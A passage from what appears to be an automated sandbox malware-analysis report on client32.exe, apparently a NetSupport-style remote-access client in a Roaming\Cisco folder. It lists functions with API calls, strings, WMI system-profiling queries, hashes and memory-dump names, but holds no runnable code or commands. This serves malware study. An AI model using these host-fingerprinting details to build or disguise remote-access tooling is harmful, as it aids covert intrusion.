Instruction ID: a36c5406095c56a7772cd5309942c79e158504ca27ae800c645d53ad84447c87
Opcode Fuzzy Hash: e63fc0104197c16285f621861676926228ecfc9fc055fc562086e3d717edca7f
Instruction Fuzzy Hash: A921CD75F0022A5BE710DAA8CD80F9AF7B89B45714F2045AAD95DF3140E731BE458B71

Function 1110E460 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 1110E3C0: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1110E3EA
Part of subcall function 1110E3C0: __wsplitpath.LIBCMT ref: 1110E405
Part of subcall function 1110E3C0: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1110E439

GetComputerNameA.KERNEL32(?,?), ref: 1110E508

Strings

\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 1110E4B0
, xrefs: 1110E501
\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 1110E517
ACM, xrefs: 1110E4C2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 30defc78da8194f59f94e3ff6dc80a811373b5fd913c6199f279900626096282
Instruction ID: 783a1893864e797c111924e05002c86c7d14abf0d26c6a4cafca36759f9e265b
Opcode Fuzzy Hash: 30defc78da8194f59f94e3ff6dc80a811373b5fd913c6199f279900626096282
Instruction Fuzzy Hash: 4E214936E052A616D301CE369D807BFFFBADF86614F054978EC51D7102F626E5048751

Function 11017520 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 1101755C
CoInitialize.OLE32(00000000), ref: 11017565
CoUninitialize.COMBASE(00000001,?,?), ref: 110175F0

Strings

Win32_ComputerSystem, xrefs: 1101757D
PCSystemTypeEx, xrefs: 1101759C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleUninitializeWait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2994556011-578995875
Opcode ID: cb70902765e9df780483309619877a5cdd6fdcad1f0a8482e579a40db52188bc
Instruction ID: 2dfd674cbcced21787933601e0fbf0765c8f89b6bf193c9c24077654eb832309
Opcode Fuzzy Hash: cb70902765e9df780483309619877a5cdd6fdcad1f0a8482e579a40db52188bc
Instruction Fuzzy Hash: D62129B1E006669BDF11CBA0CC44B6EB7E89F45358F1000B5FC58DA2C8FAB8E940D791

Function 11140870 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 11140290: GetCurrentProcess.KERNEL32(00000000,?,111404E3,?), ref: 1114029C
Part of subcall function 11140290: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\Cisco\client32.exe,00000104,?,111404E3,?), ref: 111402B9

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 111408C5
ResetEvent.KERNEL32(00000250), ref: 111408D9
SetEvent.KERNEL32(00000250), ref: 111408EF
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 111408FE

Strings

MiniDump, xrefs: 11140877

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: b5093043549d72af129595f684cc28810df42538d39778bc18dae4ac23f44b08
Instruction ID: 82be7c26d502f028142b998fa5126df4c28d1bc7d262cc6800bde2f36eb64e35
Opcode Fuzzy Hash: b5093043549d72af129595f684cc28810df42538d39778bc18dae4ac23f44b08
Instruction Fuzzy Hash: F311D675E0022667F700DFE9CC81F9AB7689B05B68F214234F624E66C4E761A5418BA5

Function 11017440 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 11017472
CoInitialize.OLE32(00000000), ref: 1101747B
CoUninitialize.COMBASE(00000001,?,?), ref: 11017500

Strings

ChassisTypes, xrefs: 110174B2
Win32_SystemEnclosure, xrefs: 11017493

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleUninitializeWait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2994556011-2037925671
Opcode ID: f0ded35296c55d0866425beafa263bb65a3590a39d35365136548dea7fc607f2
Instruction ID: d4ceec51b3d1aeb93fa2206dcf0162908bfa0d380c5fa1549f26343d1b5ce827
Opcode Fuzzy Hash: f0ded35296c55d0866425beafa263bb65a3590a39d35365136548dea7fc607f2
Instruction Fuzzy Hash: 29213575D406655BDB12CBA4CC45BAEBBED9F84358F0000A4EC58DB288EF39D900C761

Function 68598E28 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 68595000: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 68595014
Part of subcall function 68595000: K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,68598E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 68595034

CloseHandle.KERNEL32(00000000,00000000,?,00000FA0,?), ref: 68598EAE
FreeLibrary.KERNEL32(?), ref: 68598EBF

Part of subcall function 68592420: _strrchr.LIBCMT ref: 6859242E

Strings

pcictl_247.dll, xrefs: 68598E6C
Set Is247=%d, xrefs: 68598ED7
NSM247Ctl.dll, xrefs: 68598E7E

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: AddressCloseFileFreeHandleLibraryModuleNameProc_strrchr
String ID: NSM247Ctl.dll$Set Is247=%d$pcictl_247.dll
API String ID: 3215810784-3459472706
Opcode ID: 0c1eb459a09f90f08b246fdc623d0ac87a7dfdcf7a84f62f4c546c9f912fbc31
Instruction ID: 2e7df5cad1e1d205e57a65cd7d462213f867fb545e006c7e25943846b542b7cb
Opcode Fuzzy Hash: 0c1eb459a09f90f08b246fdc623d0ac87a7dfdcf7a84f62f4c546c9f912fbc31
Instruction Fuzzy Hash: 6111C879A801559FEF10DA55DC51BFEB364EB45305FC00455EE2DE3240EB319E44CB66

Function 111433B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,?,?,00000400), ref: 111433DF
wsprintfA.USER32 ref: 11143416

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

#%d, xrefs: 11143410
i < _tsizeof (buf), xrefs: 11143430
..\ctl32\util.cpp, xrefs: 1114342B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: ff2748ac2aec15e09c4bdc6ca979aa6eb9a6b499c93e777d6c60cf8ab22b526a
Instruction ID: c1d41daf5ac04f5e509db8cc8d6ef6429d5cf2497d86e7a71f1ea6c6f60715f8
Opcode Fuzzy Hash: ff2748ac2aec15e09c4bdc6ca979aa6eb9a6b499c93e777d6c60cf8ab22b526a
Instruction Fuzzy Hash: 2411E5FAE01228A7C711CAA59D80FEEF77C9B45708F544065FB08B3181EA30AA0587A4

Function 110312C0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031376

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

%s%s.bin, xrefs: 11031370
830021, xrefs: 11031357
clientinv.cpp, xrefs: 110312EE
m_pDoInv == NULL, xrefs: 110312F3

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$830021$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-17402974
Opcode ID: a91a351a66afc442ede38cb242442a1426f20364587f5a7d661eb96a4c7a4840
Instruction ID: 6dff70f8b624139b5d8b9928b76f3118b4df96bcfaa22522713f30a32685b050
Opcode Fuzzy Hash: a91a351a66afc442ede38cb242442a1426f20364587f5a7d661eb96a4c7a4840
Instruction Fuzzy Hash: 4D2181B5E00705AFD710DF65DC80BAAB7E4EB88758F10857DF825D7681E734A8008B55

Function 11140CE0 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(111413B8,00000000,?,111413B8,00000000), ref: 11140CFC
__strdup.LIBCMT ref: 11140D17

Part of subcall function 11080BE0: _strrchr.LIBCMT ref: 11080BEE

Part of subcall function 11140CE0: _free.LIBCMT ref: 11140D3E

_free.LIBCMT ref: 11140D4C

Part of subcall function 1115F3B5: HeapFree.KERNEL32(00000000,00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3CB
Part of subcall function 1115F3B5: GetLastError.KERNEL32(00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3DD

CreateDirectoryA.KERNEL32(111413B8,00000000,?,?,?,111413B8,00000000), ref: 11140D57

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 34ccee2d3f085fefe18343751ca6447c68098570c0016434bf78a5f48bb9111b
Instruction ID: 9875b16ed77e9f13dc3c5425d13c9245bbbda80c09f4107d02f4537b9d4f833e
Opcode Fuzzy Hash: 34ccee2d3f085fefe18343751ca6447c68098570c0016434bf78a5f48bb9111b
Instruction Fuzzy Hash: 9101F53B6042161AF301157E6D01BEFBB9C8BC2B6CF284176E98DC6585F756F41A82A2

Function 1100EC70 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100ECA2

Part of subcall function 1115CFF4: _setlocale.LIBCMT ref: 1115D006

_free.LIBCMT ref: 1100ECB4

Part of subcall function 1115F3B5: HeapFree.KERNEL32(00000000,00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3CB
Part of subcall function 1115F3B5: GetLastError.KERNEL32(00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3DD

_free.LIBCMT ref: 1100ECC7
_free.LIBCMT ref: 1100ECDA
_free.LIBCMT ref: 1100ECED

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: 62c2770954d93fd006766d5ae319b04a53202b929f467d8ce75b2ef83ed42ad2
Instruction ID: 6354e4c6b4ea18464702b145c06536eed7bcdebf3ca81661a54f05b51a131181
Opcode Fuzzy Hash: 62c2770954d93fd006766d5ae319b04a53202b929f467d8ce75b2ef83ed42ad2
Instruction Fuzzy Hash: 1E11E2B1D00A559BE7A0CF99C840A0BFBFDEB41614F144A2AE426D3740E731F9048B92

Function 11141F80 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 11141240: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 111412AD
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,?), ref: 111412EE
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114134B

wsprintfA.USER32 ref: 11141FAE
wsprintfA.USER32 ref: 11141FC4

Part of subcall function 1113F8A0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,75BF8400,?), ref: 1113F937
Part of subcall function 1113F8A0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F957
Part of subcall function 1113F8A0: CloseHandle.KERNEL32(00000000), ref: 1113F95F

Strings

%sNSM.LIC, xrefs: 11141FA8
%sNSA.LIC, xrefs: 11141FBE
NSM.LIC, xrefs: 11141F93

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseHandleModuleName
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 3779116287-2600120591
Opcode ID: 4e6b941dd91801a2435b4bb47ef9bd529b47744a684cc276ea5b71ac848a70c8
Instruction ID: b8eec695178ba2d1a937c5ef531141e0e56104a00a3206b9e8423c5fe1c12a7b
Opcode Fuzzy Hash: 4e6b941dd91801a2435b4bb47ef9bd529b47744a684cc276ea5b71ac848a70c8
Instruction Fuzzy Hash: 9001D4B9E0122D66DB50DBB09D41FEBF7ACCB44608F1001E5ED0997181EE31BA448B95

Function 1113F8A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

